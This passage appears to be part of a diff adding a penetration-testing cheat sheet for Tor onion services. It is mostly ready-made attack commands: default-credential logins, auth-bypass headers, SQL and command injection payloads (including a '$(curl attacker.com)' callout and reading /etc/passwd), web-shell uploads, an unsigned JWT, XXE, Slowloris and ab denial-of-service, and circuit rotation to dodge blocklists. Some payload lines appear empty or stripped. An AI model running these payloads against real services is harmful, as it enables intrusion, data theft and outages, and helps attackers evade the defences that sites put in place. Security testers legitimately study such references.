+User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0 + +# Standard Tor Browser headers +Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 +Accept-Language: en-US,en;q=0.5 +Accept-Encoding: gzip, deflate, br +DNT: 1 +Connection: keep-alive +Upgrade-Insecure-Requests: 1 + +# ============================================ +# 7. HIDDEN SERVICE AUTHENTICATION TESTING +# ============================================ + +# Test default credentials on onion services +curl --socks5-hostname 127.0.0.1:9050 http://example.onion/login -d "username=admin&password=admin" +curl --socks5-hostname 127.0.0.1:9050 http://example.onion/login -d "username=admin&password=password" +curl --socks5-hostname 127.0.0.1:9050 http://example.onion/login -d "username=administrator&password=administrator" + +# Authentication bypass attempts +curl --socks5-hostname 127.0.0.1:9050 http://example.onion/admin +curl --socks5-hostname 127.0.0.1:9050 http://example.onion/admin -H "Authorization: Bearer null" +curl --socks5-hostname 127.0.0.1:9050 http://example.onion/admin -H "Cookie: admin=true" + +# ============================================ +# 8. SSRF TO INTERNAL ONION SERVICES +# ============================================ + +# SSRF payloads targeting onion services +url=http://internal.onion +url=http://admin.onion +url=http://localhost.onion +url=http://192.168.1.1.onion + +# Testing internal onion service access +{"webhook_url": "http://internal.onion/api"} +{"callback": "http://admin-panel.onion"} + +# ============================================ +# 9. SQL INJECTION ON ONION SERVICES +# ============================================ + +# Test SQLi through Tor +curl --socks5-hostname 127.0.0.1:9050 "http://example.onion/page?id=1' OR '1'='1" +curl --socks5-hostname 127.0.0.1:9050 "http://example.onion/search?q=test' UNION SELECT NULL--" + +# Automated SQLi testing +sqlmap -u "http://example.onion/page?id=1" --tor --tor-type=SOCKS5 --check-tor + +# ============================================ +# 10. XSS ON ONION SERVICES +# ============================================ + +# XSS payloads for onion services + + + + +# Reflected XSS testing +curl --socks5-hostname 127.0.0.1:9050 "http://example.onion/search?q=" + +# ============================================ +# 11. COMMAND INJECTION ON ONION SERVICES +# ============================================ + +# Command injection payloads +; whoami +| ls -la +` cat /etc/passwd` +$(curl attacker.com) + +# Testing command injection +curl --socks5-hostname 127.0.0.1:9050 "http://example.onion/ping?host=127.0.0.1; whoami" + +# ============================================ +# 12. FILE UPLOAD ON ONION SERVICES +# ============================================ + +# Upload malicious files through Tor +curl --socks5-hostname 127.0.0.1:9050 -F "file=@shell.php" http://example.onion/upload +curl --socks5-hostname 127.0.0.1:9050 -F "file=@backdoor.jsp" http://example.onion/upload + +# ============================================ +# 13. TOR CIRCUIT MANIPULATION +# ============================================ + +# Request specific exit nodes +# In torrc: +ExitNodes {US} +StrictNodes 1 + +# Avoid specific exit nodes +ExcludeExitNodes {CN},{RU} + +# Use specific entry guards +EntryNodes $fingerprint1,$fingerprint2 + +# ============================================ +# 14. TIMING ATTACKS THROUGH TOR +# ============================================ + +# Measure response times for timing attacks +for i in {1..100}; do + TIME=$(curl --socks5-hostname 127.0.0.1:9050 -w "%{time_total}" -o /dev/null -s "http://example.onion/login?user=admin") + echo "Request $i: $TIME seconds" +done + +# ============================================ +# 15. ONION SERVICE DOS +# ============================================ + +# Stress testing onion service +ab -X 127.0.0.1:8118 -n 10000 -c 100 http://example.onion/ + +# Slowloris through Tor +slowloris --proxy 127.0.0.1:9050 example.onion + +# ============================================ +# 16. EXIT NODE DETECTION BYPASS +# ============================================ + +# Rotate circuits to bypass blacklists +# After each blocked request, get new circuit +killall -HUP tor +sleep 5 +# Retry request + +# Use bridges to hide Tor usage +# In torrc: +UseBridges 1 +Bridge obfs4 IP:PORT FINGERPRINT + +# ============================================ +# 17. ONION SERVICE DISCOVERY +# ============================================ + +# Search for onion services +# Ahmia.fi search API +curl "https://ahmia.fi/search/?q=keyword" + +# Dark web search engines +# notEvil: http://hss3uro2hsxfogfq.onion +# Torch: http://xmh57jrzrnw6insl.onion + +# ============================================ +# 18. HIDDEN SERVICE DESCRIPTOR ATTACKS +# ============================================ + +# Query hidden service descriptor +# HSDir servers store descriptors +# Descriptor ID calculated from onion address + +# Monitor descriptor uploads +# Timing analysis on descriptor publication + +# ============================================ +# 19. TOR BROWSER EXPLOIT TESTING +# ============================================ + +# JavaScript exploits targeting Tor Browser + + +# ============================================ +# 20. ONION SERVICE API TESTING +# ============================================ + +# API endpoint enumeration +curl --socks5-hostname 127.0.0.1:9050 http://example.onion/api/v1/ +curl --socks5-hostname 127.0.0.1:9050 http://example.onion/api/v2/ +curl --socks5-hostname 127.0.0.1:9050 http://example.onion/api/users +curl --socks5-hostname 127.0.0.1:9050 http://example.onion/api/admin + +# GraphQL on onion services +curl --socks5-hostname 127.0.0.1:9050 http://example.onion/graphql \ + -H "Content-Type: application/json" \ + -d '{"query":"{__schema{types{name}}}"}' + +# ============================================ +# 21. TOR BRIDGE ENUMERATION +# ============================================ + +# Request bridges from BridgeDB +curl https://bridges.torproject.org/ + +# Test bridge connectivity +# In torrc: +UseBridges 1 +Bridge obfs4 BRIDGE_IP:PORT FINGERPRINT cert=CERT iat-mode=0 + +# ============================================ +# 22. ONION SERVICE CORS MISCONFIGURATION +# ============================================ + +# Test CORS on onion services +curl --socks5-hostname 127.0.0.1:9050 http://example.onion/api \ + -H "Origin: http://attacker.onion" + +# Check CORS headers +Access-Control-Allow-Origin: * +Access-Control-Allow-Credentials: true + +# ============================================ +# 23. WEBSOCKET ON ONION SERVICES +# ============================================ + +# WebSocket connections through Tor +wscat --proxy socks5://127.0.0.1:9050 -c ws://example.onion/ws + +# Test WebSocket security +{"type":"auth","token":"' OR '1'='1"} + +# ============================================ +# 24. ONION SERVICE IDOR +# ============================================ + +# Test IDOR on onion services +curl --socks5-hostname 127.0.0.1:9050 http://example.onion/api/user/1 +curl --socks5-hostname 127.0.0.1:9050 http://example.onion/api/user/2 +curl --socks5-hostname 127.0.0.1:9050 http://example.onion/api/user/999 + +# ============================================ +# 25. TOR CONSENSUS MANIPULATION +# ============================================ + +# Download Tor consensus +curl https://collector.torproject.org/recent/relay-descriptors/consensuses/ + +# Analyze relay information +# Identify potential malicious relays + +# ============================================ +# 26. ONION SERVICE JWT ATTACKS +# ============================================ + +# Test JWT on onion services +curl --socks5-hostname 127.0.0.1:9050 http://example.onion/api \ + -H "Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJhZG1pbiJ9." + +# JWT weak secret +# Brute force JWT secret on onion service + +# ============================================ +# 27. ONION SERVICE XXE +# ============================================ + +# XXE payload for onion services +curl --socks5-hostname 127.0.0.1:9050 http://example.onion/api \ + -H "Content-Type: application/xml" \ + -d ']>&xxe;' + +# ============================================ +# 28. ONION SERVICE SSRF +# ============================================ + +# SSRF payloads targeting internal onion services +{"url": "http://internal.onion"} +{"url": "http://127.0.0.1:9050"} +{"url": "http://localhost"} + +# ============================================ +# 29. TOR DIRECTORY AUTHORITY MONITORING +# ============================================ + +# Monitor directory authorities +# 9 directory authorities in Tor network +# moria1, tor26, dizum, gabelmoo, maatuska, longclaw, bastet, faravahar, Serge + +# Query directory authority +curl http://128.31.0.34:9131/tor/status-vote/current/consensus + +# ============================================ +# 30. ONION SERVICE SECURITY HEADERS +# ============================================ + +# Check security headers on onion services +curl --socks5-hostname 127.0.0.1:9050 -I http://example.onion + +# Missing security headers: +# Strict-Transport-Security +# X-Content-Type-Options +# X-Frame-Options +# Content-Security-Policy + +# ============================================ +# PYTHON TOR AUTOMATION EXAMPLES +# ============================================ + +# Python with Tor SOCKS proxy +import requests + +proxies = { + 'http': 'socks5h://127.0.0.1:9050', + 'https': 'socks5h://127.0.0.1:9050' +} + +response = requests.get('http://example.onion', proxies=proxies) + +# Python with Stem (Tor controller) +from stem import Signal +from stem.control import Controller + +with Controller.from_port(port=9051) as controller: + controller.authenticate() + controller.signal(Signal.NEWNYM) # New identity + +# ============================================ +# BASH TOR AUTOMATION EXAMPLES +# ============================================ + +# Rotate Tor identity +killall -HUP tor + +# Check current Tor IP +curl --socks5-hostname 127.0.0.1:9050 https://icanhazip.com + +# Automated onion service scanner +#!/bin/bash +ONIONS=("example1.onion" "example2.onion" "example3.onion") +for onion in "${ONIONS[@]}"; do + echo "Scanning $onion" + proxychains nmap -sT -Pn -p 80,443 $onion + proxychains nikto -h http://$onion +done + +# ============================================ +# TOR CIRCUIT INFORMATION +# ============================================ + +# Get current circuit info +# Using Tor control port (9051) +echo -e 'AUTHENTICATE ""\r\nGETINFO circuit-status\r\nQUIT' | nc 127.0.0.1 9051 + +# Monitor circuit creation +# Using stem library to get real-time circuit events